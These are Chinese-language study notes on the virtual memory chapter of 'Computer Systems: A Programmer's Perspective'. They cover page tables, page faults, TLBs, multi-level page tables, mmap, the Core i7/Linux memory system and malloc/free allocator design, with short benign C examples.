页表是一个页表条目(Page Table Entry ,PTE)*的*数组,虚拟地址空间中的每个页在页表中的一个固定偏移量处都有一个 PTE。可以认为 PTE 由一个有效位一个 n 位地址字段**组成。有效位表明该虚拟页是否被缓存在 DRAM 中。

对于三种不同的页,其页表条目的内容不同:

  1. 已缓存的页:有效位=1,n 位地址字段表示该页在 DRAM 中相应的物理页的起始地址。
  2. 未缓存的页:有效位=0,n 位地址字段表示该虚拟页在磁盘上的起始地址
  3. 未分配的页:有效位=0,地址字段为空。

页表

9.3.3页命中

考虑一下当CPU想要读包含在VP2中的虚拟内存的一个字时会发生什么,如下图所示,VP2被缓存在DRAM中。

VM命中

地址翻译硬件使用虚拟地址作为索引从页表中查找相应的页表条目PTE2,然后读取条目中的内容。因为设置了有效位,地址翻译硬件就知道VP2是缓存在内存中的,所以它使用PTE中的物理内存地址,构造出这个字的物理地址。

9.3.4缺页

DRAM 缓存不命中称为缺页。如 CPU 要读取上图中的 VP3 时,会从页表条目的有效位发现该页没有被缓存。VM缺页之前如下图所示:

VM缺页之前

地址翻译硬件使用虚拟地址作VP3为索引从页表中查找相应的页表条目PTE3,从有效位可以判断出VP3未被缓存,并且触发一个缺页异常。

当发生缺页会触发一个缺页异常。缺页异常会调用内核中的缺页异常处理程序,该程序会从已缓存的页中选择一个牺牲页如果该牺牲页之前已经被修改,内核会先将它复制回磁盘(即写回),然后内核会占用它的物理页并修改它的页表条目为未缓存的。

此例中需要牺牲的是存放在PP3的VP4,如果VP4已被修改,则内核先将它复制回磁盘,然后内核从磁盘复制VP3到内存中的PP3,更新PTE3

缺页异常处理完成后,会重新启动导致缺页的指令,该指令重新进行对该虚拟地址的操作。

此时,VP3已经缓存在主存中了,那么页命中能由地址翻译硬件正常处理了。

VM缺页之后

虚拟内存中相关概念:

  • 页面调用(paging)或交换(swapping):在磁盘和内存之间传送页的活动。
  • 页面调入:从磁盘换入DRAM
  • 页面调出:从DRAM换出磁盘
  • 按需页面调用:当有不命中发生时,才去换入页面。

9.3.5分配页面

初始的虚拟地址空间中的虚拟页基本都是未分配的,当调用了 malloc 就会分配一个或一些新的虚拟页,这些页指向磁盘上的对应页面。

理解:或许是因为 malloc 只负责分配内存,不负责创建对象,所以 malloc 分配得到的页是未缓存的。

9.3.6又是局部性救了我们

虚拟内存利用了局部性。通过将活动页面集合(称为工作集)缓存到 DRAM 中来减少出现缺页的情况。

如果工作集的大小超出了 DRAM 的大小,程序将会发生抖动,页面会不断地换进换出。

根据本节内容可以区分主存缓存与各高速缓存的组织结构的不同之处:

  1. 高速缓存将地址位划分为有效位、标记位、组索引位、块偏移位,通过组选择、行匹配、字抽取来完成对数据的操作。
  2. 主存采用了 VM 系统,使用页表来实现对数据的查找。

9.4虚拟内存作为内存管理的工具

实际上每个进程都会有一个独立的虚拟地址空间,也都有一个独立的页表。不同进程的虚拟页面可能映射到同一个物理页面上

通过按需页面调度与独立的虚拟地址空间,VM 在内存管理时实现了以下功能:

  1. 简化链接独立的地址空间允许为每个进程的内存映像使用相同的基本格式,如代码段都是从 0x400000 开始,数据段都在代码段后,栈从用户进程地址空间最高的地方向下生长等。因为采用了虚拟地址,所以这些可执行文件是独立于物理内存中代码和数据的最终位置的。
  2. 简化加载。当要向内存中加载可执行文件和共享对象文件时,Linux 加载器为代码段和数据段分配虚拟页并将其标记为无效的(即未缓存的),将页表条目指向目标文件中适当的位置即可。
    • 将一组连续的虚拟页映射到任意一个文件中的任意一个位置叫做内存映射
  3. 简化共享。独立地址空间为操作系统提供了一个管理用户进程与操作系统自身之间共享的一致机制。操作系统通过将不同进程中适当的虚拟页面映射到相同的物理页面,从而安排多个进程共享这部分代码的一个副本,而不是在每个进程中创建单独的副本。
  4. 简化内存分配。当一个进程要求分配堆空间时,操作系统分配 k 个的连续的虚拟内存页面,并将它们映射到物理内存中任意位置的 k 个任意的物理页面。由于页表工作的方式,物理页面不需要是连续的。

9.5虚拟内存作为内存保护的工具

每次 CPU 生成一个虚拟地址时,地址翻译硬件都会读一个 PTE,可以通过在 PTE 上添加一些额外的许可位来控制对一个虚拟页面内容的访问。

用虚拟内存来提供页面级的内存保护

上图中每个 PTE 都添加了三个许可位:

  1. SUP:表示进程是否必须运行在内核模式下才能访问该页。
  2. READ:控制读的权限。
  3. WRITE:控制写的权限。

9.6地址翻译

地址翻译是通过硬件实现的。地址翻译符号如下:

地址翻译符号小结

地址翻译是一个 N 元素的虚拟地址空间(VAS)和一个 M 元素的物理地址空间(PAS)之间的映射。

虚拟地址与物理地址的映射公式

CPU 中有一个页表基址寄存器指向当前页表。n 位的虚拟地址包含 p 位的虚拟页面偏移和 n-p 位的虚拟页号。

使用页表的地址翻译

MMU(内存管理单元) 利用虚拟页号来选择适当的 PTE,然后将 PTE 中的物理页号和虚拟地址中的虚拟页偏移量串联起来就得到了对应的物理地址。

页面命中时 CPU 硬件执行的步骤:

  1. 处理器生成一个虚拟地址,并把它传送给 MMU。
  2. MMU 根据虚拟地址生成 PTE 地址,并从主存请求得到它。
  3. 主存向 MMU 返回 PTE。
  4. MMU 构造物理地址,并把它传送给主存。
  5. 主存返回所请求的数据字给处理器。

上述步骤可以概括为:MMU 收到处理器传来的虚拟地址后,根据虚拟地址中的虚拟页号和页表基址寄存器的内容从主存的页表中获取对应 PTE 项,根据 PTE 项中的物理页号构造出物理地址并从主存中取回数据。

页面不命中时需要通过内核的缺页异常处理程序替换页,然后重新进行一遍上述步骤。

页面命中和缺页

9.6.1结合高速缓存和虚拟内存

大多数系统采用物理寻址来访问 SRAM 高速缓存,即先完成了地址翻译,再根据得到的物理地址到 SRAM 高速缓存中查找。因为访问权限的检查已经在地址翻译时完成,所以高速缓存无需处理保护问题。

将VM与物理寻址的高速缓存结合起来

9.6.2利用TLB加速地址翻译

每次 CPU 产生一个虚拟地址,MMU 都要查阅一个 PTE,这带来了额外的开销。

许多系统在 MMU 中包括了一个关于 PTE 的小的缓存——翻译后备缓冲器(Translation Lookaside Buffer,TLB)。这样所有的地址翻译步骤在 MMU 中就可以执行完成。

TLB 采用了具有较高相联度的组相联方式,用于组选择和行匹配的索引和标记字段从虚拟地址的虚拟页号中提取出来。

虚拟地址中用以访问TLB的组成部分

当 TLB 不命中时,MMU 需要从 L1 高速缓存中取出相应的 PTE 替换 TLB 中的某个已存在的条目。

TLB命令和不命中

9.6.3多级页表

如果只用一个页表来进行地址翻译,该页表就会很大,比如一个 32 位的地址空间、4KB 的页面、4 字节的 PTE,就需要一个大小为 4MB 的页表。

计算方法:

32位地址空间,即共有2^32个虚拟地址
每个页面(即页)4KB,即2^12
那么虚拟地址空间中共有2^32除以2^12,即2^20个页面(即页)
每个页都需要对应一个页表条目(即PTE),故页面条目的个数也是2^20
而每个 PTE 的大小是 4 字节,即2^2,那么2^20页表条目的总大小就是 2^22 字节了,即 4MB
12345

对于64 位的系统而言,问题将变得更复杂。常用多级页表来压缩页表。

一个两级页表的例子

假设一个 32 位的虚拟地址空间被分为4KB的页,而每个页表条目都是4字节。同时,虚拟地址空间有如下形式:

  • 内存的前2K页面分配给了代码和数据
  • 接下来6K的页面未分配
  • 再接下来的1023个页面也未分配
  • 接下来的1个页面分配给用户栈

一级页表的每个 PTE 负责映射虚拟地址空间中的一个4MB的片,这里的每一片都是由1024个连续的页面组成的。

即4MB的片 X 1024 页面 = 4GB,覆盖了整个4G的虚拟地址空间

两级页表

如果某个片的 1024 个页面都没有被分配,那一级页表中这个片的 PTE 就是空的,只有该片中的页面被分配了,一级页表的 PTE 才会指向该片对应的二级页表的基址。

多级页表从两个方面降低了内存需求:

  1. 如果一级页表的 PTE 是空的,那相应的二级页表根本就不存在。
  2. 只有一级页表和最常用的二级页表才总是在主存中,VM 系统可以在需要时才创建、页面调入或调出二级页表。

多级页表

下图中虚拟地址被划分为了 k 个 VPN 和一个 VPO。每个 VPN i 都是一个到第 i 级页表的索引。

第 k 级页表中的每个 PTE 包含某个物理页面的 PPN(物理页号)或一个磁盘页的地址。其他页表中的 PTE 则包含对应的下一级页表的基址。

对于多级页表,要确定虚拟地址的物理页号,需要访问 k 个页表的 PTE。通过 TLB 将不同层次上页表的 PTE 缓存起来,但多级页表的地址翻译不比单级页表慢很多。

k级页表翻译

9.7内存映射

内存映射:Linux 通过将一个虚拟内存区域与一个磁盘上的对象关联起来,来初始化这个虚拟内存区域的内容。

虚拟内存区域可以映射到两种类型的对象:

  1. Linux 文件系统中的普通文件:一个区域可以映射到一个普通磁盘文件的连续部分,如一个可执行目标文件。如果区域比文件区要大,就用 0 填充剩下的部分。
  2. 匿名文件:一个区域可以映射到一个匿名文件,匿名文件由内核创建,包含的全是二进制零。

无论哪种情况,一旦一个虚拟页面被初始化了,它就在一个由内核维护的专门的交换文件(也叫交换空间)之间换来换去。

交换空间的大小限制着当前运行着的进程能够分配的虚拟页面的综述。

9.7.1再看共享对象

内存映射提供了清晰的机制,用来控制多个进程如何共享对象。

一个对象可以被映射到虚拟内存的一个区域,要么作为共享对象,要么作为私有对象。

  • 共享对象的任何写操作,对其他进程都是可见的。(有区域)
  • 私有对象的任何操作,对其他进程是不可见的。(私有区域)

共享对象的示意图:

共享对象

私有对象使用一种写时复制的技术被映射到虚拟内存中。

私有对象

9.7.2再看fork函数

当fork函数被当前进程调用的时候,内核为新进程创建各种数据结构,并且分配它一个唯一的PID。为了给这个新进程创建虚拟内存。它创建了当前进程的mm_struct,区域结构和页表的原样副本。它将两个进程的每个页面都标记成只读,并且将两个进程中的每个区域接结构都标记成私有的写时复制。

当fork在新进程返回的时候,新进程现在的虚拟内存刚好和调用的fork时存在的虚拟内存相同。当这两个进程中的任意一个后来进行写操作,写时复制机制就会创建新的页面,因此,也就为每个进程保持了私有地址空间的抽象概念。

9.7.3再看execve函数

execve函数在虚拟内存和内存映射中将程序加载到内存的过程中扮演了关键的角色。例如:

execve("a.out",NULL,NULL);
1

execve函数在当前进程中加载并运行包含在可执行目标文件a.out中的程序,用a.out程序有效地替代了当前程序。加载并运行a.out需要经过以下几个步骤:

  • 删除已存在的用户区域:删除当前进程虚拟地址的用户部分中的已存在的区域(段)结构。

  • 映射私有区域:为新程序的文本、数据、bss和栈区域创建新的区域(段)结构。

  • 映射共享区域:如果a.out程序与共享库链接,那么这些对象都是动态链接到这个程序的,然后再映射到用户虚拟地址空间中的共享区域内。

  • 设置程序计数器:execve做的最后一件事就是设置当前进程上下文中的程序计数器,使之指向文本段的入口点。

    加载器是如何映射用户地址空间的区域的

9.7.4使用mmap函数的用户级内存映射

Linux程序可以使用mmap函数来创建新的虚拟内存区域,并将对象映射到这些区域中。

#include <unistd.h>
#include <sys/mman.h>
void* **mmap**(void* start, size_t length, int prot, int flags, int fd, off_t offset) ;
123

mmap函数要求内核创建一个新的虚拟存储器区域,最好是从地址start开始的一个区域,并将文件描述符fd指定的对象的一个连续的片(chunk)映射到这个新的区域。连续的对象片大小为length字节,从距文件开始处偏移量为offset字节的地方开始。start地址仅仅是一个暗示,通常被定义为NULL。

mmap参数的可视化解释

参数prot:描述新映射的虚拟内存区域的访问权限位。

  • PROT_EXEC:可被执行。
  • PROT_READ:可读。
  • PROT_WRITE:可写。
  • PROT_NONE:禁止访问

参数flags:描述被映射对象的类型。

  • MAP_ANON:被映射的对象是一个匿名对象。
  • MAP_PRIVATE:被映射对象是一个私有、写时拷贝的对象。
  • MAP_SHARED:被映射对象是一个共享对象。

例如:

bufp = mmap(-1, size, PROT_READ, MAP_PRIVATE | MAP_ANON, 0, 0) ;
1

让内核创建一个新的包含size字节的只读、私有、请求二进制零的虚拟内存区域。

munmap函数删除虚拟内存区域:

#include <unistd.h>
#include <sys/mman.h>
int munmap(void* start, size_t length) ;

munmap(bufp,size);
12345

9.8Intel Core i7 / Linux 内存系统

我们以一个实际系统的案例研究来总结我们对虚拟内存的讨论:一个运行 Linux 的 Intel Core i7。虽然底层的 Haswell 微体系结构允许完全的 64 位虚拟和物理地址空间,而现在的(以及可预见的未来的)Core i7 实现支持 48 位(256 TB)虚拟地址空间和 52 位(4 PB)物理地址空间,还有一个兼容模式,支持 32 位(4 GB)虚拟和物理地址空间。

图 9-21 给出了 Corei7 内存系统的重要部分。处理器封装(processor package)包括四个核、一个大的所有核共享的 L3 高速缓存,以及一个 DDR3 内存控制器。每个核包含一个层次结构的 TLB、一个层次结构的数据和指令高速缓存,以及一组快速的点到点链路,这种链路基于 QuickPath 技术,是为了让一个核与其他核和外部 I/O 桥直接通信。TLB 是虚拟寻址的,是四路组相联的。L1、L2 和 L3 高速缓存是物理寻址的,块大小为 64 字节。L1 和 L2 是 8 路组相联的,而 L3 是 16 路组相联的。页大小可以在启动时被配置为 4 KB 或 4 MB。Linux 使用的是 4 KB 的页。

image-20220105232149039

9.8.1 Core i7 地址翻译

图 9-22 总结了完整的 Core i7 地址翻译过程,从 CPU 产生虚拟地址的时刻一直到来自内存的数据字到达 CPU。Core i7 采用四级页表层次结构。每个进程有它自己私有的页表层次结构。当一个 Linux 进程在运行时,虽然 Core i7 体系结构允许页表换进换出,但是与已分配了的页相关联的页表都是驻留在内存中的。CR3 控制寄存器指向第一级页表(L1)的起始位置。CR3 的值是每个进程上下文的一部分,每次上下文切换时,CR3 的值都会被恢复。

image-20220105232258465

图 9-23 给出了第一级、第二级或第三级页表中条目的格式。当 P=1\small P=1P=1 时(Linux 中就总是如此),地址字段包含一个 40 位物理页号(PPN),它指向适当的页表的开始处。注意,这强加了一个要求,要求物理页表 4 KB 对齐。

image-20220105232400094

这里涉及到一些优化,也没看懂

9.8.2 Linux 虚拟内存系统

一个虚拟内存系统要求硬件和内核软件之间的紧密协作。版本与版本之间细节都不尽相同,对此完整的阐释超出了我们讨论的范围。但是,在这一小节中我们的目标是对 Linux 的虚拟内存系统做一个描述,使你能够大致了解一个实际的操作系统是如何组织虚拟内存,以及如何处理缺页的。

Linux 为每个进程维护了一个单独的虚拟地址空间,形式如图 9-26 所示。我们已经多次看到过这幅图了,包括它那些熟悉的代码、数据、堆、共享库以及栈段。既然我们理解了地址翻译,就能够填入更多的关于内核虚拟内存的细节了,这部分虚拟内存位于用户栈之上。

image-20220105232531808

内核虚拟内存包含内核中的代码和数据结构。内核虚拟内存的某些区域被映射到所有进程共享的物理页面。例如,每个进程共享内核的代码和全局数据结构。有趣的是,Linux 也将一组连续的虚拟页面(大小等于系统中 DRAM 的总量)映射到相应的一组连续的物理页面。这就为内核提供了一种便利的方法来访问物理内存中任何特定的位置,例如,当它需要访问页表,或在一些设备上执行内存映射的 I/。操作,而这些设备被映射到特定的物理内存位置时。

内核虚拟内存的其他区域包含每个进程都不相同的数据。比如说,页表、内核在进程的上下文中执行代码时使用的栈,以及记录虚拟地址空间当前组织的各种数据结构。

  1. Linux 虚拟内存区域

Linux 将虚拟内存组织成一些区域(也叫做段)的集合。一个区域(area)就是已经存在着的(已分配的)虚拟内存的连续片(chunk),这些页是以某种方式相关联的。例如,代码段、数据段、堆、共享库段,以及用户栈都是不同的区域。每个存在的虚拟页面都保存在某个区域中,而不属于某个区域的虚拟页是不存在的,并且不能被进程引用。区域的概念很重要,因为它允许虚拟地址空间有间隙。内核不用记录那些不存在的虚拟页,而这样的页也不占用内存、磁盘或者内核本身中的任何额外资源。

图 9-27 强调了记录一个进程中虚拟内存区域的内核数据结构。内核为系统中的每个进程维护一个单独的任务结构(源代码中的 task_struct)。任务结构中的元素包含或者指向内核运行该进程所需要的所有信息(例如,PID、指向用户栈的指针、可执行目标文件的名字,以及程序计数器)。

image-20220105232759185

任务结构中的一个条目指向 mm_struct,它描述了虚拟内存的当前状态。我们感兴趣的两个字段是 pgd 和 mmap,其中 pgd 指向第一级页表(页全局目录)的基址,而 mmap 指向一个 vm_area_structs(区域结构)的链表,其中每个 vm_area_structs 都描述了当前虚拟地址空间的一个区域。当内核运行这个进程时,就将 pgd 存放在 CR3 控制寄存器中。

为了我们的目的,一个具体区域的区域结构包含下面的字段

vm_start:指向这个区域的起始处。

vm_end:指向这个区域的结束处。

vm_prot:描述这个区域内包含的所有页的读写许可权限。

vm_flags:描述这个区域内的页面是与其他进程共享的,还是这个进程私有的(还描述了其他一些信息)。

vm_next:指向链表中下—区域结构。

2 Linux 缺页异常处理

假设 MMU 在试图翻译某个虚拟地址 A 时,触发了一个缺页。这个异常导致控制转移到内核的缺页处理程序,处理程序随后就执行下面的步骤:

**虚拟地址 A 是合法的吗?**换句话说,A 在某个区域结构定义的区域内吗?为了回答这个问题,缺页处理程序搜索区域结构的链表,把 A 和每个区域结构中的 vm_start 和 vm_end 做比较。如果这个指令是不合法的,那么缺页处理程序就触发一个段错误,从而终止这个进程。这个情况在图 9-28 中标识为 “1”。

因为一个进程可以创建任意数量的新虚拟内存区域(使用在下一节中描述的 mmap 函数),所以顺序搜索区域结构的链表花销可能会很大。因此在实际中,Linux 使用某些我们没有显示出来的字段,Linux 在链表中构建了一棵树,并在这棵树上进行查找。

**试图进行的内存访问是否合法?**换句话说,进程是否有读、写或者执行这个区域内页面的权限?例如,这个缺页是不是由一条试图对这个代码段里的只读页面进行写操作的存储指令造成的?这个缺页是不是因为一个运行在用户模式中的进程试图从内核虚拟内存中读取字造成的?如果试图进行的访问是不合法的,那么缺页处理程序会触发一个保护异常,从而终止这个进程。这种情况在图 9-28 中标识为 “2”。

**此刻,内核知道了这个缺页是由于对合法的虚拟地址进行合法的操作造成的。**它是这样来处理这个缺页的:选择一个牺牲页面,如果这个牺牲页面被修改过,那么就将它交换出去,换入新的页面并更新页表。当缺页处理程序返回时,CPU 重新启动引起缺页的指令,这条指令将再次发送 A 到 MMU。这次,MMU 就能正常地翻译 A,而不会再产生缺页中断了。

image-20220105233100646

9.9动态内存分配

虽然可以使用低级的 mmap 和 munmap 函数来创建和删除虚拟内存的区域,但是 C 程序员还是会觉得当运行时需要额外虚拟内存时,用动态内存分配器(dynamic memory allocator)更方便,也有更好的可移植性。

动态内存分配器维护着一个进程的虚拟内存区域,称为(heap)(见图 9-33)。系统之间细节不同,但是不失通用性,假设堆是一个请求二进制零的区域,它紧接在未初始化的数据区域后开始,并向上生长(向更高的地址)。对于每个进程,内核维护着一个变量 brk(读做 “break”),它指向堆的顶部。

image-20220106174007169

分配器将堆视为一组不同大小的(block)的集合来维护。每个块就是一个连续的虚拟内存片(chunk),要么是已分配的,要么是空闲的。已分配的块显式地保留为供应用程序使用。空闲块可用来分配。空闲块保持空闲,直到它显式地被应用所分配。一个已分配的块保持已分配状态,直到它被释放,这种释放要么是应用程序显式执行的,要么是内存分配器自身隐式执行的。

分配器有两种基本风格。两种风格都要求应用显式地分配块。它们的不同之处在于由哪个实体来负责释放已分配的块。

显式分配器(explicit allocator),要求应用显式地释放任何已分配的块。例如,C 标准库提供一种叫做 malloc 程序包的显式分配器。C 程序通过调用 malloc 函数来. 分配一个块,并通过调用 free 函数来释放一个块。C++ 中的 new 和 delete 操作符与 C 中的 malloc 和 free 相当。

隐式分配器(implicit allocator),另一方面,要求分配器检测一个已分配块何时不再被程序所使用,那么就释放这个块。隐式分配器也叫做垃圾收集器(garbage collector),而自动释放未使用的已分配的块的过程叫做垃圾收集(garbage collection)。例如,诸如 Lisp、ML 以及 Java 之类的高级语言就依赖垃圾收集来释放已分配的块。

9.9.1 malloc 和 free 函数

C 标准库提供了一个称为 malloc 程序包的显式分配器。程序通过调用 malloc 函数来从堆中分配块。

#include <stdlib.h>

void *malloc(size_t size);

// 返回:若成功则为已分配块的指针,若出错则为 NULL。
12345

malloc 函数返回一个指针,指向大小为至少 size 字节的内存块,这个块会为可能包含在这个块内的任何数据对象类型做对齐。实际中,对齐依赖于编译代码在 32 位模式(gcc -m32)还是 64 位模式(默认的)中运行。在 32 位模式中,malloc 返回的块的地址总是 8 的倍数。在 64 位模式中,该地址总是 16 的倍数。

如果 malloc 遇到问题(例如,程序要求的内存块比可用的虚拟内存还要大),那么它就返回 NULL,并设置 errno。malloc 不初始化它返回的内存。那些想要已初始化的动态内存的应用程序可以使用 calloc,calloc 是一个基于 malloc 的瘦包装函数,它将分配的内存初始化为零。想要改变一个以前已分配块的大小,可以使用 realloc 函数。

动态内存分配器,例如 malloc,可以通过使用 mmap 和 munmap 函数,显式地分配和释放堆内存,或者还可以使用 sbrk 函数:

#include <unistd.h>

void *sbrk(intptr_t incr);

// 返回:若成功则为旧的 brk 指针,若出错则为 -1。
12345

sbrk 函数通过将内核的 brk 指针增加 incr 来扩展和收缩堆。如果成功,它就返回 brk 的旧值,否则,它就返回 -1,并将 errno 设置为 ENOMEM。如果 incr 为零,那么 sbrk 就返回 brk 的当前值。用一个为负的 incr 来调用 sbrk 是合法的,而且很巧妙,因为返回值(brk 的旧值)指向距新堆顶向上 abs(incr) 字节处

程序是通过调用 free 函数来释放已分配的堆块。

#include <stdlib.h>

void free(void *ptr);

// 返回:无。
12345

ptr 参数必须指向一个从 malloc、calloc 或者 realloc 获得的已分配块的起始位置。如果不是,那么 free 的行为就是未定义的。更糟的是,既然它什么都不返回,free 就不会告诉应用出现了错误。就像我们将在 9.11 节里看到的,这会产生一些令人迷惑的运行时错误。

图 9-34 展示了一个 malloc 和 free 的实现是如何管理一个 C 程序的 16 字的(非常)小的堆的。每个方框代表了一个 4 字节的字。粗线标出的矩形对应于已分配块(有阴影的)和空闲块(无阴影的)。初始时,堆是由一个大小为 16 个字的、双字对齐的、空闲块组成的。(本节中,我们假设分配器返回的块是 8 字节双字边界对齐的。)

  • **图 9-34a:**程序请求一个 4 字的块。malloc 的响应是:从空闲块的前部切出一个 4 字的块,并返回一个指向这个块的第一字的指针。

    **图 9-34b:**程序请求一个 5 字的块。malloc 的响应是:从空闲块的前部分配一个 6 字的块。在本例中,malloc 在块里填充了一个额外的字,是为了保持空闲块是双字边界对齐的。

    **图 9-34c:**程序请求一个 6 字的块,而 malloc 就从空闲块的前部切出一个 6 字的块。

    **图 9-34d:**程序释放在图 9-34b 中分配的那个 6 字的块。注意,在调用 free 返回之后,指针 p2 仍然指向被释放了的块。应用有责任在它被一个新的 malloc 调用重新初始化之前,不再使用 p2。

    **图 9-34e:**程序请求一个 2 字的块。在这种情况中,malloc 分配在前一步中被释放了的块的一部分,并返回一个指向这个新块的指针。

image-20220106175307734

image-20220106175314565

9.9.2 为什么要使用动态内存分配

程序使用动态内存分配的最重要的原因是经常直到程序实际运行时,才知道某些数据结构的大小。例如,假设要求我们编写一个 C 程序,它读一个 n 个 ASCII 码整数的链表,每一行一个整数,从 stdin 到一个 C 数组。输入是由整数 n 和接下来要读和存储到数组中的 n 个整数组成的。最简单的方法就是静态地定义这个数组,它的最大数组大小是硬编码的:

#include "csapp.h"
#define MAXN 15213

int array[MAXN];

int main()
{
    int i, n;
    
    scanf("%d", &n);
    if (n > MAXN)
        app_error("Input file too big");
    for (i = 0; i < n; i++)
        scanf("%d", &array[i]);
    exit(0);
}
12345678910111213141516

像这样用硬编码的大小来分配数组通常不是一种好想法。MAXN 的值是任意的,与机器上可用的虚拟内存的实际数量没有关系。而且,如果这个程序的使用者想读取一个比 MAXN 大的文件,唯一的办法就是用一个更大的 MAXN 值来重新编译这个程序。虽然对于这个简单的示例来说这不成问题,但是硬编码数组界限的出现对于拥有百万行代码和大量使用者的大型软件产品而言,会变成一场维护的噩梦。

一种更好的方法是在运行时,在已知了 n 的值之后,动态地分配这个数组。使用这种方法,数组大小的最大值就只由可用的虚拟内存数量来限制了。

#include "csapp.h"

int main()
{
    int *array, i, n;
    
    scanf("%d", &n);
    array = (int *)Malloc(n * sizeof(int));
    for (i = 0; i < n; i++)
        scanf("%d", &array[i]);
    free(array);
    exit(0);
}
12345678910111213

动态内存分配是一种有用而重要的编程技术。然而,为了正确而高效地使用分配器,程序员需要对它们是如何工作的有所了解。我们将在 9.11 节中讨论因为不正确地使用分配器所导致的一些可怕的错误。

9.9.3 分配器的要求和目标

显式分配器必须在一些相当严格的约束条件下工作:

  • **处理任意请求序列。**一个应用可以有任意的分配请求和释放请求序列,只要满足约束条件:每个释放请求必须对应于一个当前已分配块,这个块是由一个以前的分配请求获得的。因此,分配器不可以假设分配和释放请求的顺序。例如,分配器不能假设所有的分配请求都有相匹配的释放请求,或者有相匹配的分配和空闲请求是嵌套的。

    **立即响应请求。**分配器必须立即响应分配请求。因此,不允许分配器为了提高性能重新排列或者缓冲请求。

    **只使用堆。**为了使分配器是可扩展的,分配器使用的任何非标量数据结构都必须保存在堆里。

    **对齐块(对齐要求)。**分配器必须对齐块,使得它们可以保存任何类型的数据对象。

    **不修改已分配的块。**分配器只能操作或者改变空闲块。特别是,一旦块被分配了,就不允许修改或者移动它了。因此,诸如压缩已分配块这样的技术是不允许使用的。

在这些限制条件下,分配器的编写者试图实现吞吐率最大化和内存使用率最大化,而这两个性能目标通常是相互冲突的。

**目标 1:最大化呑吐率。**假定 n 个分配和释放请求的某种序列:

image-20220106175814146

我们希望一个分配器的吞吐率最大化,吞吐率定义为每个单位时间里完成的请求数。例如,如果一个分配器在 1 秒内完成 500 个分配请求和 500 个释放请求,那么它的吞吐率就是每秒 1000 次操作。一般而言,我们可以通过使满足分配和释放请求的平均时间最小化来使吞吐率最大化。正如我们会看到的,开发一个具有合理性能的分配器并不困难,所谓合理性能是指一个分配请求的最糟运行时间与空闲块的数量成线性关系,而一个释放请求的运行时间是个常数。

**目标 2:最大化内存利用率。**天真的程序员经常不正确地假设虚拟内存是一个无限的资源。实际上,一个系统中被所有进程分配的虚拟内存的全部数量是受磁盘上交换空间的数量限制的。好的程序员知道虚拟内存是一个有限的空间,必须高效地使用。对于可能被要求分配和释放大块内存的动态内存分配器来说,尤其如此。

有很多方式来描述一个分配器使用堆的效率如何。在我们的经验中,最有用的标准是峰值利用率(peak utilization)。像以前一样,我们给定 n 个分配和释放请求的某种顺序

image-20220106175905300

image-20220106175948836

image-20220106175922149

那么,分配器的目标就是在整个序列中使峰值利用率 Un-1最大化。正如我们将要看到的,在最大化吞吐率和最大化利用率之间是互相牵制的。特别是,以堆利用率为代价,很容易编写出吞吐率最大化的分配器。分配器设计中一个有趣的挑战就是在两个目标之间找到一个适当的平衡。

9.9.4 碎片

造成堆利用率很低的主要原因是一种称为碎片(fragmentation)的现象,当虽然有未使用的内存但不能用来满足分配请求时,就发生这种现象。有两种形式的碎片:内部碎片(internal fragmentation)和外部碎片(external fragmentation)。

内部碎片是在一个已分配块比有效载荷大时发生的。很多原因都可能造成这个问题。例如,一个分配器的实现可能对已分配块强加一个最小的大小值,而这个大小要比某个请求的有效载荷大。或者,就如我们在图 9-34b 中看到的,分配器可能增加块大小以满足对齐约束条件。

内部碎片的量化是简单明了的。它就是已分配块大小和它们的有效载荷大小之差的和。因此,在任意时刻,内部碎片的数量只取决于以前请求的模式和分配器的实现方式。

外部碎片是当空闲内存合计起来足够满足一个分配请求,但是没有一个单独的空闲块足够大可以来处理这个请求时发生的。例如,如果图 9-34e 中的请求要求 6 个字,而不是 2 个字,那么如果不向内核请求额外的虚拟内存就无法满足这个请求,即使在堆中仍然有 6 个空闲的字。问题的产生是由于这 6 个字是分在两个空闲块中的。

外部碎片比内部碎片的量化要困难得多,因为它不仅取决于以前请求的模式和分配器的实现方式,还取决于将来请求的模式。例如,假设在 k 个请求之后,所有空闲块的大小都恰好是 4 个字。这个堆会有外部碎片吗?答案取决于将来请求的模式。如果将来所有的分配请求都要求小于或者等于 4 个字的块,那么就不会有外部碎片。另一方面,如果有一个或者多个请求要求比 4 个字大的块,那么这个堆就会有外部碎片。

因为外部碎片难以量化且不可能预测,所以分配器通常釆用启发式策略来试图维持少量的大空闲块,而不是维持大量的小空闲块。

9.9.5 实现问题

可以想象出的最简单的分配器会把堆组织成一个大的字节数组,还有一个指针 p,初始指向这个数组的第一个字节。为了分配 size 个字节,malloc 将 p 的当前值保存在栈里,将 p 增加 size,并将 p 的旧值返回到调用函数。free 只是简单地返回到调用函数,而不做其他任何事情。

这个简单的分配器是设计中的一种极端情况。因为每个 malloc 和 free 只执行很少量的指令,吞吐率会极好。然而,因为分配器从不重复使用任何块,内存利用率将极差。一个实际的分配器要在吞吐率和利用率之间把握好平衡,就必须考虑以下几个问题:

  • **空闲块组织:**我们如何记录空闲块?

**放置:**我们如何选择一个合适的空闲块来放置一个新分配的块?

**分割:**在将一个新分配的块放置到某个空闲块之后,我们如何处理这个空闲块中的剩余部分?

**合并:**我们如何处理一个刚刚被释放的块?

本节剩下的部分将更详细地讨论这些问题。因为像放置、分割以及合并这样的基本技术贯穿在许多不同的空闲块组织中,所以我们将在一种叫做隐式空闲链表的简单空闲块组织结构中来介绍它们。

9.9.6 隐式空闲链表

任何实际的分配器都需要一些数据结构,允许它来区别块边界,以及区别已分配块和空闲块。大多数分配器将这些信息嵌入块本身。一个简单的方法如图 9-35 所示。

image-20220106180415549

在这种情况中,一个块是由一个字的头部、有效载荷,以及可能的一些额外的填充组成的。头部编码了这个块的大小(包括头部和所有的填充),以及这个块是已分配的还是空闲的。如果我们强加一个双字的对齐约束条件,那么块大小就总是 8 的倍数,且块大小的最低 3 位总是零。因此,我们只需要内存大小的 29 个高位,释放剩余的 3 位来编码其他信息。在这种情况中,我们用其中的最低位(已分配位)来指明这个块是已分配的还是空闲的。例如,假设我们有一个已分配的块,大小为 24(0x18)字节。那么它的头部将是

0x00000018 | 0x1 = 0x00000019

类似地,一个块大小为 40(0x28)字节的空闲块有如下的头部:

0x00000028 | 0x0 = 0x00000028

头部后面就是应用调用 malloc 时请求的有效载荷。有效载荷后面是一片不使用的填充块,其大小可以是任意的。需要填充有很多原因。比如,填充可能是分配器策略的一部分,用来对付外部碎片。或者也需要用它来满足对齐要求。

假设块的格式如图 9-35 所示,我们可以将堆组织为一个连续的已分配块和空闲块的序列,如图 9-36 所示。

image-20220106180435617

